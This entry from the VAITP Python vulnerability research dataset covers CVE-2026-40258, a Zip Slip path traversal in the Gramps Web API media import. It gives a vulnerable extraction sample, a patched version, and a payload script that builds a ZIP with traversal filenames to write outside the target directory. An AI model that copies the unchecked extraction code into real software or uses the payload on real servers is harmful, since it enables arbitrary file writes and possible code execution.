VAITP Dataset

← Back to the dataset

CVE-2026-40258

Path traversal in Gramps Web API media import allows arbitrary file write.

  • CVSS 9.1
  • CWE-22
  • Input Validation and Sanitization
  • Remote

The Gramps Web API is a Python REST API for the genealogical research software Gramps. Versions 1.6.0 through 3.11.0 have a path traversal vulnerability (Zip Slip) in the media archive import feature. An authenticated user with owner-level privileges can craft a malicious ZIP file with directory-traversal filenames to write arbitrary files outside the intended temporary extraction directory on the server's local filesystem. Startig in version 3.11.1, ZIP entry names are now validated against the resolved real path of the temporary directory before extraction. Any entry whose resolved path falls outside the temporary directory raises an error and aborts the import.

CVSS base score
9.1
Published
2026-04-17
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Gramps Web A
Fixed by upgrading
Yes

Solution

Upgrade to Gramps Web API version 3.11.1 or later.

Vulnerable code sample

import os
import zipfile
import tempfile

def vulnerable_media_import(zip_file_path):
    """
    A function that simulates the vulnerable archive import feature.
    It extracts all files from a ZIP archive to a temporary directory
    without validating the file paths, making it vulnerable to
    path traversal (Zip Slip).
    """
    # Create a temporary directory for extraction.
    temp_dir = tempfile.mkdtemp()

    # Open the user-provided ZIP file.
    with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
        # Iterate over each file in the ZIP archive.
        for member in zip_ref.infolist():
            # This is the vulnerable step:
            # The destination path is created by joining the temporary directory
            # with the filename from the ZIP file. The filename is not
            # sanitized or validated. A filename like '../../../../tmp/pwned.txt'
            # will resolve to a path outside of the 'temp_dir'.
            destination_path = os.path.join(temp_dir, member.filename)
            
            # To ensure file creation works even if parent dirs don't exist
            # in the malicious path.
            parent_dir = os.path.dirname(destination_path)
            if not os.path.exists(parent_dir):
                os.makedirs(parent_dir)

            # Extract the individual file by reading its data and writing
            # to the constructed destination path.
            with zip_ref.open(member) as source_file:
                with open(destination_path, "wb") as target_file:
                    target_file.write(source_file.read())

Patched code sample

import os
import zipfile

def secure_zip_extract(zip_file_path, extraction_dir):
    """
    Safely extracts a ZIP file, preventing path traversal vulnerabilities.
    """
    # Get the absolute, canonical path of the intended extraction directory
    real_extraction_dir = os.path.realpath(extraction_dir)

    with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
        for member in zip_ref.infolist():
            # Skip directories, as they are implicitly created by file extraction
            if member.is_dir():
                continue

            # Construct the potential full path for the file to be extracted
            target_path = os.path.join(real_extraction_dir, member.filename)

            # Resolve the real, absolute path of the target file.
            # This will resolve any '..' path components.
            real_target_path = os.path.realpath(target_path)

            # SECURITY CHECK:
            # Ensure the resolved real path of the file is still inside the
            # intended extraction directory.
            if not real_target_path.startswith(real_extraction_dir + os.sep):
                raise PermissionError(
                    f"Path traversal attempt detected for file '{member.filename}'"
                )

            # If the check passes, extract the file.
            zip_ref.extract(member, real_extraction_dir)

Payload

import zipfile

# This script generates a malicious ZIP file named 'exploit.zip'.
# The ZIP file contains an entry that uses path traversal.
# When a vulnerable server extracts this archive, it will attempt to
# write a file outside the intended destination directory.

# The malicious path attempts to traverse up from the extraction directory
# and write a file named 'pwned.txt' into the /tmp/ directory.
# The number of '../' may need to be adjusted based on the server's
# temporary directory depth.
malicious_filename = '../../../../../../tmp/pwned.txt'

# The content to be written to the arbitrary file.
file_content = b'This server is vulnerable to Zip Slip (CVE-2026-40258).'

# Create the malicious ZIP archive.
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    # The writestr method adds a file to the archive.
    # We provide the malicious path as the filename within the archive.
    zf.writestr(malicious_filename, file_content)

Cite this entry

@misc{vaitp:cve202640258,
  title        = {{Path traversal in Gramps Web API media import allows arbitrary file write.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40258},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40258/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::